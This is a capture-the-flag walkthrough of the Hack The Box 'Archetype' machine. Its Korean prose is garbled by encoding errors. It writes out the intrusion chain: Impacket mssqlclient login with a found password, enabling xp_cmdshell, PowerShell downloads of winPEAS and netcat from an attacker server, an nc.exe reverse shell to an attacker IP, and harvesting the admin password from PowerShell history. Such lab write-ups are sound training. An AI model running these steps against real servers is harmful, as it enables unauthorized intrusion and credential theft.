Hack The Box - Archetype Writeup(2)
์ง์ ๊ฐ์๋จธ์ ์์ openvpn์ ํตํด ํ์ผ ๋จธ์ ๊ณผ ํต์ ์ด ๊ฐ๋ฅํ๊ฒ ๋ง๋ค์ด ์ฃผ์์ต๋๋ค.
์ด์ ์ ๋งํ๋ ์ธํฐ๋ท ํต์ ์ด ์ด์ ๊ฐ๋ฅํด์ก์ต๋๋ค.
Task 4. What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?
(Microsoft SQL Server์ ์ธ์ฆ๋ ์ฐ๊ฒฐ์ ์ค์ ํ๊ธฐ ์ํด Impacket ์ปฌ๋ ์ ์ ์ด๋ค ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ ์ ์๋์?)
๋ฌธ์ ๊ฐ ์ดํดํ๊ธฐ ์ด๋ ค์ธ ๊ฒฝ์ฐ ๋งจ ์๋จ์ ํํธ๊ฐ ์ ํ pdf ํ์ผ์ ํ์ธํ ์ ์๋ ๋ฒํผ์ด ์์ต๋๋ค. ๊ทธ๊ฑธ ๋๋ฌ ์ฐธ๊ณ ํ์ธ์.
๋ณด์ํ๋ mssqlclient.py๋ฅผ ํตํด MSSQL ์๋ฒ์ ์ ์์ด ๊ฐ๋ฅํ๊ฐ ๋ด ๋๋ค.
๋ค์ ๋ช ๋ น์ด๋ค๋ก ํ์ผ์ ๋ฐ์ต๋๋ค.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
# OR:
sudo python3 setup.py install
# In case you are missing some modules:
pip3 install -r requirements.txt
์ค์น๊ฐ ๋๋๊ณ -h ์ต์ ์ผ๋ก ๋ช ๋ น์ด๋ค์ ํ์ธ ํด์ค๋๋ค.
cd impacket/examples/
python3 mssqlclient.py -h
๋ฌธ์ 4 ์ ๋ต์ mssqlclient.py
์ด์ mssqlclient.py๋ฅผ ์ด์ฉํด ์๋ฒ์ ์ง์ ์ ์์ ํฉ๋๋ค.
python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth
-windows-auth : ์ด ํ๋๊ทธ๋ Windows ์ธ์ฆ์ ์ฌ์ฉํ๋๋ก ์ง์ ๋ฉ๋๋ค.
์ฐ๊ฒฐ ๋์ค์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฌผ์ด๋ณด๋ฉด ์ด์ ์ backups ๊ณต์ ํด๋์์ ์ฐพ์ ๋น๋ฐ๋ฒํธ(M3g4c0rp123)๋ฅผ ์ ๋ ฅํด ์ธ์ฆ์ ์๋ฃํฉ๋๋ค.
Task 5. What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?
(Windows ๋ช ๋ น ์ ธ์ ์์ฑํ๊ธฐ ์ํด ์ฌ์ฉํ ์ ์๋ Microsoft SQL Server์ ํ์ฅ ์ ์ฅ ํ๋ก์์ ๋ ๋ฌด์์ธ๊ฐ์? )
๋ฌธ์ 5 ์ ๋ต์ xp_cmdshell
(ํ๋ก์์ ๋ช ๋ น์ด ์ฌ์ฉ ์์)
SQL> EXEC xp_cmdshell 'net user';
ํ์ง๋ง ์ค์ ๋ก ์ฌ์ฉํ๋ฉด ์๋ฒ์ธก์์ ํด๋น ํ๋ก์์ ๊ฐ ๋ธ๋ฝ์ด ๋๋ค๊ณ ๋์์ ํฌ๊ธฐํด์ผ ํ๋ ์ถ์ง๋ง.. ์์ด๋ฌ๋ํ๊ฒ ์ด ๋ธ๋ฝ์ ํ์ฑํํ๋ ๋ฐฉ๋ฒ์ด ํ๋ ์กด์ฌํฉ๋๋ค.
(xp_cmdshell ํ๋ก์์ ํ์ฑํ ๋ช ๋ น์ด)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
๋ค์ ์คํ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ๋ ์ ๋๋ก ์ถ๋ ฅ ๋๋ ๊ฒ์ ํ์ธํ์ค ์ ์์ต๋๋ค.
Task 6. What script can be used in order to search possible paths to escalate privileges on Windows hosts?
(Windows ํธ์คํธ์์ ๊ถํ์ ์์ค์ปฌ๋ ์ด์ ํ ์ ์๋ ๊ฐ๋ฅํ ๊ฒฝ๋ก๋ฅผ ๊ฒ์ํ๊ธฐ ์ํด ์ด๋ค ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ ์ ์๋์?)
๋ง์นจ ํํธ "Peas for windows"๊ฐ ์๊ธธ๋ ๊ตฌ๊ธ์ ๊ฒ์์ ํด๋ณด๋ "WinPEAS"๋ผ๋ ํด์ด ์์์ต๋๋ค.
winPEAS ์ค์น ์ฃผ์ : https://github.com/carlospolop/PEASS-ng/releases/tag/20240226-e0f9d47b
xp_cmdshell๋ก ์คํฌ๋ฆฝํธ๋ฅผ ๋ค์ด๋ ํธ๋ก ๋ฐ์ ์ ์์ ์ค ์์์ง๋ง ๋ฐฉํ๋ฒฝ ํ์ธ์ง dns๋ฅผ ์ฐพ์ ์ ์๋ค๊ณ ๋์์ ์ง์ ํ์ด์ฌ์ผ๋ก ํ์ผ ๊ณต์ ์๋ฒ๋ฅผ ๋ง๋ค์์ต๋๋ค.
python3 -m http.server 5000
(ํ์ผ ์๋ฒ๊ฐ ์คํ๋๋ ์ค)
์ด์ ์๋์ ๋ช ๋ น์ด๋ฅผ ๋ฃ์ด ๊ณต๊ฒฉ์์ ํ์ผ ์๋ฒ๋ก ๋ถํฐ wiinPEAS๊ฐ ์ค์น๋๋๋ก ํฉ๋๋ค.
EXEC xp_cmdshell 'powershell -c cd C:\Users\sql_svc\Downloads; wget http://๊ณต๊ฒฉ์IP:5000/winPEASx86.exe -outfile winPEASx86.exe';
ํ์ผ ์๋ฒ์๋ ์ ์ ๋ก๊ทธ๊ฐ ์ฐํ๊ฒ ๋ฉ๋๋ค.
๋ง์ฐฌ๊ฐ์ง๋ก ncat์ ์ค์นํ๊ณ ๊ณต๊ฒฉ์์ ํผํด์ ๊ฐ์ ๋ฆฌ๋ฒ์ค ์์ ํ์ฑ ํด์ค๋๋ค.
(nc ์ค์น ๋ช ๋ น์ด)
EXEC xp_cmdshell 'powershell -c cd C:\Users\sql_svc\Downloads; wget http://๊ณต๊ฒฉ์IP:5000/nc64.exe -outfile nc.exe';
(๋ฆฌ๋ฒ์ค ์ LISTENING)
ncat -lvp 443
(๋ฆฌ๋ฒ์ค ์ ์ ์)
EXEC xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc.exe -e cmd.exe ๊ณต๊ฒฉ์IP 443";
๋ค ๋ง์น์๋ค๋ฉด ์๋์ ๊ฐ์ด ํผํด์์ ์ปดํจํฐ์ ์์ ์ ์ด ๊ฐ๋ฅํ๊ฒ ๋ฉ๋๋ค.
winPEAS๋ฅผ ์คํ ์ํต๋๋ค.
winPEAS๋ ๊ณต๊ฒฉ ๋์์ ์ด์์ฒด์ ์ ๋ณด๋ค์ ๊ธฐ๋ฐ์ผ๋ก ๋ณด์ ํ๊ณ ์๋ ์ทจ์ฝ์ ๋ค์ ์๊ธฐ๊ฐ ์ฐพ์๋ด์ ๊ถํ ์์นํ๋๋ฐ ๋์์ ์ฃผ๋ ์ํํธ์จ์ด ์ ๋๋ค.
๋นจ๊ฐ์ ๊ธ์๊ฐ ๋ณด์ด๋ฉด ๊ทธ๊ฒ์ ๊ณต๊ฒฉ์์๊ฒ ๋์์ ์ค๋งํ ์ ๋ณด๋ฅผ ๋งํจ
๋ฌธ์ 6 ์ ๋ต์ winpeas
Task 7. What file contains the administrator's password?
์ด๋ค ํ์ผ์ ๊ด๋ฆฌ์ ๋น๋ฐ๋ฒํธ๊ฐ ํฌํจ๋์ด ์๋์?
์ถ๋ ฅ๋ ๊ฒฐ๊ณผ์์ PowerShell์ ํ์คํ ๋ฆฌ ๊ธฐ๋ก์ด ์กด์ฌํ๋ค๊ณ ๋์๋๋ฐ ํด๋น ๊ฒฝ๋ก ํ์ผ์ type ๋ช ๋ น์ด๋ก ๋ด์ฉ์ ํ์ธํ๋ฉด
๋ช ๋ น์ด๋ก ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก net ๋ช ๋ น์ด๋ฅผ ํตํด backups ํด๋์ ์ ๊ทผํ ๊ธฐ๋ก์ด ์ฐํ ์๋จ ๊ฑธ ํ์ธํ ์ ์์ต๋๋ค.
๋ฌธ์ 7 ์ ๋ต์ ConsoleHost_history.txt
์ฐพ๊ฒ๋ ์ ๋ณด๋ก ๊ด๋ฆฌ์ ๊ณ์ ๋ก๊ทธ์ธ์ ์๋ํฉ๋๋ค. ์ ์ ๋๊ตฌ๋ psexec๋ฅผ ์ฌ์ฉํ์์ต๋๋ค.
sql_svc์ ๋ฐํํ๋ฉด์ ํ๋๊ทธ ํ์ผ์ด ์กด์ฌํฉ๋๋ค.
๋ง์ฐฌ๊ฐ์ง๋ก ๊ด๋ฆฌ์์ ๋ฐํํ๋ฉด ํด๋์ ํ๋๊ทธ ํ์ผ์ด ์์ต๋๋ค.